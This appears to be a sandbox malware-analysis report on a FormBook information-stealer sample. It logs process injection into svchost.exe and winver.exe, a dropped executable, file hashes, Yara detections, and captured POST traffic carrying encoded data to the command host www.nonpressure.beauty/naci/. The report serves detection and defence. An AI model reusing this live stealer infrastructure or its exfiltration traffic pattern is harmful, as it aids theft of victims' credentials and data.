Nov 12, 2024 18:50:02.005187988 CET	835	OUT	POST /naci/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.nonpressure.beauty Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Origin: http://www.nonpressure.beauty Referer: http://www.nonpressure.beauty/naci/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 57 79 4d 4f 39 45 6e 47 45 4b 48 51 36 4a 78 6c 42 78 33 2b 4f 4f 41 45 71 34 63 5a 4f 47 2b 49 6d 46 4c 54 69 55 67 73 35 56 78 58 59 55 76 69 4d 69 66 55 65 6f 54 66 4d 67 66 49 67 48 48 43 36 4c 41 58 5a 68 55 4b 44 64 4a 37 42 72 34 78 4a 44 71 62 73 6c 56 6e 74 58 32 35 48 50 48 71 4f 53 35 33 31 49 69 30 66 50 50 2f 63 2b 2f 35 34 39 4b 2f 52 53 70 74 4f 54 67 34 6f 76 4e 71 56 6b 53 61 54 33 59 63 6d 38 57 39 75 45 6c 70 72 73 4c 59 4a 44 4e 35 37 59 44 59 4e 6c 37 73 78 53 59 78 2f 48 41 77 4e 75 6e 72 4f 46 6c 48 46 73 4b 2f 4c 7a 39 39 52 38 58 71 78 47 49 4b 2f 36 52 4d 32 4d 61 36 6b 4e 39 37 4f 68 45 61 52 47 43 55 78 73 59 3d Data Ascii: C0oD=WyMO9EnGEKHQ6JxlBx3+OOAEq4cZOG+ImFLTiUgs5VxXYUviMifUeoTfMgfIgHHC6LAXZhUKDdJ7Br4xJDqbslVntX25HPHqOS531Ii0fPP/c+/549K/RSptOTg4ovNqVkSaT3Ycm8W9uElprsLYJDN57YDYNl7sxSYx/HAwNunrOFlHFsK/Lz99R8XqxGIK/6RM2Ma6kN97OhEaRGCUxsY=
Nov 12, 2024 18:50:02.924303055 CET	675	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:50:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Tue, 12 Nov 2024 17:50:02 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e185cb1dbdbe807-DFW Content-Encoding: gzip server-timing: cfL4;desc="?proto=TCP&rtt=2634&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=835&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50037	104.21.4.93	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:50:04.555982113 CET	10917	OUT	POST /naci/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.nonpressure.beauty Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Origin: http://www.nonpressure.beauty Referer: http://www.nonpressure.beauty/naci/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 57 79 4d 4f 39 45 6e 47 45 4b 48 51 36 4a 78 6c 42 78 33 2b 4f 4f 41 45 71 34 63 5a 4f 47 2b 49 6d 46 4c 54 69 55 67 73 35 56 35 58 59 43 6a 69 4d 42 33 55 64 6f 54 66 45 41 66 4c 67 48 47 59 36 4c 59 54 5a 68 59 38 44 65 78 37 43 49 41 78 4f 32 65 62 31 31 56 6e 6b 33 32 36 44 50 47 69 4f 53 6f 2b 31 4a 53 30 66 50 50 2f 63 39 6e 35 78 4d 4b 2f 54 53 70 71 47 7a 67 6b 73 76 4e 4f 56 6b 4b 67 54 33 64 70 6d 73 32 39 75 6b 56 70 70 66 7a 59 4c 6a 4e 2f 38 59 44 51 4e 6c 47 32 78 53 31 41 2f 45 64 56 4e 75 54 72 65 68 67 4d 63 65 61 4f 66 53 42 45 46 75 6a 57 32 31 31 4a 77 4a 74 49 7a 39 43 34 6e 35 35 77 4a 32 68 47 45 32 43 50 6f 72 37 77 57 56 4b 30 51 4c 78 71 2f 6c 74 75 66 53 77 72 33 34 74 4c 4e 57 37 46 44 63 6a 76 70 4c 64 2f 70 38 61 78 43 42 50 31 79 63 4f 44 56 66 5a 75 7a 63 38 72 61 56 66 78 32 4a 79 31 39 4b 53 48 68 33 68 4e 39 69 56 6c 57 62 61 2b 4a 6f 44 61 6a 2f 30 39 56 72 62 67 35 6e 79 59 65 6e 4c 35 79 53 57 63 32 38 75 52 4d 42 75 34 4d 77 51 53 32 59 4c 2b 68 [TRUNCATED] Data Ascii: C0oD=WyMO9EnGEKHQ6JxlBx3+OOAEq4cZOG+ImFLTiUgs5V5XYCjiMB3UdoTfEAfLgHGY6LYTZhY8Dex7CIAxO2eb11Vnk326DPGiOSo+1JS0fPP/c9n5xMK/TSpqGzgksvNOVkKgT3dpms29ukVppfzYLjN/8YDQNlG2xS1A/EdVNuTrehgMceaOfSBEFujW211JwJtIz9C4n55wJ2hGE2CPor7wWVK0QLxq/ltufSwr34tLNW7FDcjvpLd/p8axCBP1ycODVfZuzc8raVfx2Jy19KSHh3hN9iVlWba+JoDaj/09Vrbg5nyYenL5ySWc28uRMBu4MwQS2YL+hzafdRKa0Wl0zCYdf0BwWyOClVfV1ihb+4MNEwtdY4Gka+FsxhHLrzTUkvUbFYzt61l2Bcx2PsdS0TtnDPwSB/myDk7zcPdvaMrX5O7ltH85b2qMuJ3ermhzOKKzmbaRw6OTZrLLqGbutcr7bZk88Ig8E/EMgJPJVPx3nHEqs3Bpv9meSWIMvIiSNbYgiYKm71TMe/XjI4yiaLM/IRcOQ3N0NaZd1a87CAAspvP8D2xaZz4a686qIfLyN9OLSj0h7eAwSSF+bXfijLSoCLaEmFmZg2BRHJVdEt87rK6Oi+tj8uTZbcWOk8XcYQaG9iF3NNVot2uRBSlr+D5Fafz/cTGnJ35L0oQlVN54cFukRnbTQ+CtNskYAXMJIqpVkCupGI80WBNY5uvp47Hh1jEBlXsrLvv17SLtxvWI+QREFmsQ4UcYghB/vSiwhKI/QrbeVWUpt1lMJ0j1Uc2O6g3I7dUmeDTRuoq2lTuN09808gv/BShR6li4EQgbLsqjmHNOiF9JvsrNVu0FmK2BbCkoj7KWoCqzU5wNJpIWy1auZXssy60RpDXuPdBzM97dy4iVZOzFQxCYBofeM/4T1ePm5lZz1mDODK9rlvW90rTl4WKNiL2zRADDiX9NJC5OrvLhA+nOEiF7CUhrI9e/Y9iYkuTVli5EIrduXD1 [TRUNCATED]
Nov 12, 2024 18:50:05.474466085 CET	683	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:50:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Tue, 12 Nov 2024 17:50:05 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8e185cc1ebe9e97a-DFW Content-Encoding: gzip server-timing: cfL4;desc="?proto=TCP&rtt=1351&sent=5&recv=12&lost=0&retrans=0&sent_bytes=0&recv_bytes=10917&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh0

Target ID:	0
Start time:	12:46:58
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe"
Imagebase:	0xd10000
File size:	1'600'512 bytes
MD5 hash:	0BB932F92B40EEC8D5BC5B595B948096
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	12:46:59
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe"
Imagebase:	0xcc0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2012145210.0000000005860000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2011124026.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2011753567.0000000003B90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	12:47:23
Start date:	12/11/2024
Path:	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe"
Imagebase:	0xbb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3546078918.0000000002AE0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	12:47:25
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\winver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\winver.exe"
Imagebase:	0xf90000
File size:	57'344 bytes
MD5 hash:	B5471B0FB5402FC318C82C994C6BF84D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3546137914.0000000000F40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3545010767.0000000000830000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3546082583.0000000000EF0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	12:47:38
Start date:	12/11/2024
Path:	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe"
Imagebase:	0xbb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3547691925.0000000004ED0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	12:47:50
Start date:	12/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x800000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true